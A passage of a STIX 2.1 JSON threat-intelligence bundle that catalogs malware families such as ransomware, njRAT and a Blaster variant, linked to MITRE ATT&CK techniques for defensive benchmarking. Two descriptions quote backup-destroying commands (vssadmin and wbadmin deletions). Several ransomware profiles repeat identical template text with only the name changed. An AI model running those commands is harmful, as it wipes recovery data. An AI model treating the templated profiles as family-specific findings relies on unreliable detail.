          "description": "Canonical Malware Families Catalog Technical Profile for Blackv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blackv"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2fd7be0a-01b7-5af7-98ad-9dee44b0b894",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d635b876-2b60-55ca-9c27-5b6d0415c3dd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackv exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e389bc9-c402-5e48-b3f7-25cb0924fc53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d635b876-2b60-55ca-9c27-5b6d0415c3dd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackv exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbc382a5-d48d-59e9-a178-6935cec40644",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d635b876-2b60-55ca-9c27-5b6d0415c3dd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackv exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44087d8b-4f06-5022-a5f3-d15a070e4207",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d635b876-2b60-55ca-9c27-5b6d0415c3dd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackv exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8af4172-566d-5fed-8a4c-b7ac7f890756",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d635b876-2b60-55ca-9c27-5b6d0415c3dd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackv exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3986ade5-6d21-5f27-a387-52844ae60108",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blacoleref",
      "description": "Blacoleref (classified in antivirus detection telemetry under designations including Ransom:Win32/Blacoleref, Ransom.Win32.Blacoleref, and Win32/Blacoleref) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Blacoleref executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Blacoleref",
        "Ransom.Win32.Blacoleref",
        "Win32/Blacoleref"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blacoleref",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blacoleref"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36558138-0709-5d93-aab7-d7c411a6b689",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3986ade5-6d21-5f27-a387-52844ae60108",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blacoleref exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90da7e6b-60d2-5d04-aef3-ad64f6bb5ef2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3986ade5-6d21-5f27-a387-52844ae60108",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blacoleref exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ed2d29a-672f-5589-88ba-7df24d729c6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3986ade5-6d21-5f27-a387-52844ae60108",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blacoleref exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6bc108a9-eb17-50e9-8a2b-35f98b029ff0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3986ade5-6d21-5f27-a387-52844ae60108",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blacoleref exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--952607db-47df-5629-b0ff-102550dc50be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3986ade5-6d21-5f27-a387-52844ae60108",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blacoleref exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--84c42082-8e23-5191-81f5-92e91f9db28b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bladabindi",
      "description": "Bladabindi (universally recognized in the cybersecurity community as njRAT) is an infamous, widely proliferated remote access trojan originally authored by an individual operating under the moniker 'spar-key' (Naser Al Mutairi) in Kuwait. First appearing around 2012 and disseminated openly through Arabic underground hacking forums and YouTube tutorials, Bladabindi quickly became one of the most ubiquitous threat vectors in global cybercrime and targeted espionage.\n\nAuthored in Microsoft .NET, Bladabindi features a full-featured graphical command console providing complete endpoint compromise: real-time keystroke logging, desktop and webcam video surveillance, microphone eavesdropping, password extraction from web browsers and messaging clients, dynamic process manipulation, registry manipulation, and interactive command execution. The malware became notorious for its aggressive propagation across enterprise USB drives using malicious .lnk shortcuts, dynamic DNS infrastructure for command-and-control, and widespread weaponization by advanced persistent threat (APT) groups across the Middle East, North Africa, and Eastern Europe.\n\nIn June 2014, Microsoft's Digital Crimes Unit and the Federal Bureau of Investigation (FBI) executed 'Operation Flash'\u2014a high-profile federal civil and criminal action seizing 22 dynamic DNS domains hosted by No-IP that were utilized by Bladabindi and Jenxcus operators to control millions of compromised endpoints. (Observed samples in benchmark: 3,930)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "njRAT",
        "Bladabindi",
        "Njw0rm",
        "Jenxcus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bladabindi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bladabindi"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert TA14-182A (Operation Flash / Bladabindi & Jenxcus Takedown)"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b267144-6dee-541c-9c4a-f16b81122c22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84c42082-8e23-5191-81f5-92e91f9db28b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bladabindi exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c8b6bf2-561b-5ea4-a93b-4375124f10e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84c42082-8e23-5191-81f5-92e91f9db28b",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bladabindi exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26e5a207-4d23-5953-8591-4b4b4fdb748a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84c42082-8e23-5191-81f5-92e91f9db28b",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bladabindi exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7687b31-124c-5080-a6a0-eeda3c9ecdbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84c42082-8e23-5191-81f5-92e91f9db28b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bladabindi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--62a14fb2-1047-5333-b2dc-6dd9a2ed37b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1571: Non-Standard Port",
      "description": "MITRE ATT&CK Technique T1571 (Non-Standard Port) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1571",
          "url": "https://attack.mitre.org/techniques/T1571/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6ecc9b0-fe0b-5d5b-ba71-398fa9ce1195",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84c42082-8e23-5191-81f5-92e91f9db28b",
      "target_ref": "attack-pattern--62a14fb2-1047-5333-b2dc-6dd9a2ed37b5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bladabindi exhibits technique T1571 (Non-Standard Port)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--09ea2606-a676-5fc7-b589-658472b0d87e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blakamba",
      "description": "Blakamba (classified in antivirus detection telemetry under designations including Ransom:Win32/Blakamba, Ransom.Win32.Blakamba, and Win32/Blakamba) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Blakamba executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Blakamba",
        "Ransom.Win32.Blakamba",
        "Win32/Blakamba"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blakamba",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blakamba"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07ce5e9c-20d5-5c2c-854b-f46c7e0c3c2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09ea2606-a676-5fc7-b589-658472b0d87e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blakamba exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--140f5952-936a-58cb-b55b-1aea6382d753",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09ea2606-a676-5fc7-b589-658472b0d87e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blakamba exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34b10236-e2fb-562f-9048-05f463fe764e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09ea2606-a676-5fc7-b589-658472b0d87e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blakamba exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97e8786a-0eb0-548d-820e-a3b6bb2d17b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09ea2606-a676-5fc7-b589-658472b0d87e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blakamba exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d56def44-72b2-5cea-8515-1e16e8f7c912",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09ea2606-a676-5fc7-b589-658472b0d87e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blakamba exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3c4129dc-da3d-5412-9098-3a2c9588e4bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blamon",
      "description": "Blamon (tracked across endpoint security telemetry under signatures Ransom:Win32/Blamon, Ransom:Win32/Blamon.A, and Trojan-Ransom.Win32.Blamon) is a destructive crypto-ransomware family designed to lock local and network-attached storage on Windows systems. Infiltrating environments primarily through malicious email campaigns featuring weaponized macros or archive files, Blamon initiates execution by verifying administrative privileges and conducting host discovery. It terminates database management engines, mail servers, and backup utilities to release file access locks. Blamon encrypts user documents, databases, archives, and multimedia files using AES-256 encryption wrapped with an embedded RSA public key, appending a distinctive extension such as .blamon to encrypted files. It executes vssadmin delete shadows /all /quiet and wbadmin delete catalog -quiet to destroy Volume Shadow Copies and system state backups, before dropping extortion notes demanding cryptocurrency payment for file restoration. (Observed samples in benchmark: 22)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Blamon",
        "Ransom:Win32/Blamon.A",
        "Trojan-Ransom.Win32.Blamon",
        "Win32/Blamon",
        "Ransom.Blamon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blamon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blamon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f417e5b-15df-525d-b3ed-7c353562e06b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c4129dc-da3d-5412-9098-3a2c9588e4bb",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blamon exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6412b37-9abe-5c97-ad80-08f7262232c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c4129dc-da3d-5412-9098-3a2c9588e4bb",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blamon exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfc5e384-28d5-5579-ab74-4eecb80437cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c4129dc-da3d-5412-9098-3a2c9588e4bb",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blamon exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--947b620e-97db-5a53-bdae-9c128179bcc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c4129dc-da3d-5412-9098-3a2c9588e4bb",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blamon exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86409df3-ba8d-55c4-923b-d627aa46fc17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c4129dc-da3d-5412-9098-3a2c9588e4bb",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blamon exhibits technique T1070.004 (Indicator Removal: File Deletion)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--37a50475-1db7-5492-a557-ccd3283799f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blasterx",
      "description": "BlasterX is a variant of the notorious Blaster worm that caused widespread disruption on the internet in the early 2000s. Operating as a network worm, BlasterX rapidly self-propagates by exploiting vulnerabilities in the Windows DCOM RPC service, requiring no user interaction to infect vulnerable systems. Once a machine is compromised, the worm executes a payload designed to participate in Distributed Denial of Service (DDoS) attacks, often targeting specific infrastructure or websites. A hallmark of the Blaster family is its ability to cause systems to repeatedly crash and reboot, leading to significant downtime and loss of productivity. The rapid spread of BlasterX highlighted critical flaws in patch management practices, underscoring the absolute necessity for organizations and home users to promptly apply security updates released by software vendors.",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "W32.Blaster.X",
        "Lovsan Variant"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blasterx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blasterx"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcbc7da1-a0c3-5da6-a891-c94115199821",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37a50475-1db7-5492-a557-ccd3283799f6",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blasterx exhibits technique T1210 (Exploitation of Remote Services)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2311b673-ec91-50b1-8268-4b28ec3b3d79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37a50475-1db7-5492-a557-ccd3283799f6",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blasterx exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29b8a344-6ffc-5736-a8fc-e7833fb60b7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37a50475-1db7-5492-a557-ccd3283799f6",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blasterx exhibits technique T1489 (Service Stop)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0fe445de-1660-5695-b377-e837f14389fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37a50475-1db7-5492-a557-ccd3283799f6",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blasterx exhibits technique T1190 (Exploit Public-Facing Application)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1b75c054-ab2d-5d91-ba37-4ae7dac1421c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blihan",
      "description": "Blihan (classified in endpoint telemetry as Ransom:Win32/Blihan, Trojan-Ransom.Win32.Blihan, and Win32/Blihan) is an aggressive crypto-ransomware family designed to extort Windows organizations and individual users. Distributed through spearphishing email campaigns, malicious office macros, and fake software installers, Blihan initiates rapid directory traversal upon execution. It targets high-value user data, including financial spreadsheets, contracts, databases, and system backups, locking them with robust symmetric and asymmetric encryption algorithms (such as AES paired with RSA). Blihan appends a unique extension (such as .blihan) to encrypted files, executes vssadmin delete shadows /all /quiet to purge Volume Shadow Copies, and deposits ransom notes detailing payment instructions in Bitcoin or Monero. (Observed samples in benchmark: 20)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Blihan",
        "Trojan-Ransom.Win32.Blihan",
        "Win32/Blihan",
        "Ransom.Blihan",
        "Ransom:Win32/Blihan.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blihan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blihan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba95d4a7-3456-5c2f-9946-e0499a49d677",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b75c054-ab2d-5d91-ba37-4ae7dac1421c",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blihan exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd59a9f7-e8c4-59d6-bf12-c32fffc7f630",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b75c054-ab2d-5d91-ba37-4ae7dac1421c",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blihan exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c290ed2-033a-5f1c-b14d-779c80d35f18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b75c054-ab2d-5d91-ba37-4ae7dac1421c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blihan exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3d24c61-8627-5a00-ac36-3caff29409d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b75c054-ab2d-5d91-ba37-4ae7dac1421c",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blihan exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de65023b-24f0-5b84-ba72-758c1abcc9ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b75c054-ab2d-5d91-ba37-4ae7dac1421c",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blihan exhibits technique T1070.004 (Indicator Removal: File Deletion)."
    },
    {
      "type": "malware",
